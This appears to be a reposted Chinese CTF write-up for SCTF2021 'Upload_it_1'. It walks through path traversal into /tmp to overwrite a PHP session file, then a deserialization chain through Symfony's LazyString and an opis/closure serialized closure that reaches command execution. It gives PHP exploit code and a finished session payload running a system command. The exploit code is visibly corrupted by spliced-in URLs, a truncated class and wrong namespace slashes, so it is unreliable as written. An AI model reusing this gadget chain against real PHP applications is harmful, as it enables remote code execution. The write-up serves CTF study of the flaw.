题目地址 SycloverTeam提供了题目的docker环境
https://github.com/SycloverTeam/SCTF2021/tree/master/web/Upload_it_1
wp 首先题目给了composer.json
{
"name": "sctf2021/upload",
"authors": [
{
"name": "AFKL",
"email": "upload@qq.com"
}
],
"require": {
"symfony/string": "^5.3",
"opis/closure": "^3.6"
}
}
导入了两个包,那就肯定是组件相关的攻击了
"symfony/string": "^5.3",
"opis/closure": "^3.6"
composer update一下
文章图片
第二个组件是关于闭包反序列化的,所以猜测和序列化有关
文章图片
index.php内的主要逻辑代码
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
} else {
echo "too big!!!";
}
这里会调用
$_SESSION["upload_path"]
,那么考虑到session反序列化题目测试到,上传可以进行目录穿越,但是只有tmp目录可写
文章图片
题目有给到phpinfo(),打开看一下,path没给,但是能操作的目录只有tmp,那么肯定就是/tmp/sess_xxxx了
文章图片
那么我们就是可以操控session文件了,所以我们现在的目的就是怎么去构造一个session文件去rce
可以看到index.php里面session拼接了:
$_SESSION["upload_path"]."/".$_POST['path'];
所以如果
$_SESSION["upload_path"]
是一个对象的话,那就会触发一个__toString方法了那么我们就去找一个可以利用的__toString方法,这里是可以利用的在LazyString这里找到利用的方法
文章图片
再看到这个组件,opis/closure,可序列化闭包,那么我们就可以通过创建一个攻击性的闭包去反序列化,这样完成我们的攻击
那么如此,我们就可以构造我们的exp了
value = https://www.it610.com/article/$a;
}
}
}namespace {
include_once"../vendor/autoload.php";
$func = function() {system("cat /flag");
};
$raw = \Opis\Closure\serialize($func);
$data = https://www.it610.com/article/unserialize($raw);
$exp = new /Symfony/Component/String/LazyString($data);
echo urlencode(serialize($exp));
}
payload,注意%00的解码,前面拼接上
upload_path|
upload_path|O:35:"Symfony\Component\String\LazyString":1:{s:42:"%00Symfony\Component\String\LazyString%00value";
C:32:"Opis\Closure\SerializableClosure":157:{a:5:{s:3:"use";
a:0:{}s:8:"function";
s:34:"function() {\system("cat /flag");
}";
s:5:"scope";
N;
s:4:"this";
N;
s:4:"self";
s:32:"0000000045e636f7000000007352e912";
}}}
文章图片
再次上传文件,利用session去拼接调用__toString方法,成功rce
文章图片
预期解 看了作者给的wp,发现预期解是通过__sleep方法去调用__toString方法的
文章图片
而php原生的session执行反序列化的时候,的确会调用__sleep方法
思路 【比赛wp|[SCTF2021]Upload_it_1复现闭包组件反序列化rce】这道题的整个的思路就是:
- 首先测试到上传的文件可以进行目录穿越,但是只有tmp目录有权限
- 源码中观察到闭包反序列化组件,方向可能是反序列化,执行composer update安装源码
- 有session的使用,可以上传文件到tmp,而且有session的使用,而且phpinfo中有写是file,所以考虑到是session反序列化
- 构造闭包去序列化打rce
推荐阅读
- 比赛wp|[VNCTF2022]部分wp
- 比赛wp|[HWS&DasCTF]misc
- 代码审计|[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析
- 代码审计|[代码审计]yii2 反序列化漏洞分析
- 进阶PHP月薪30k|PHP+Mysql如何实现数据库增删改查
- 网络安全|HW护网即将开始4.6
- 网络|2022 年顶级网络安全专家最爱用的10大工具
- 操作系统|Linux常用命令_(磁盘管理)
- 信息安全|记一次失败的CTF竞赛速成经历 | 最近我在干什么 | 记5倍忙碌的一周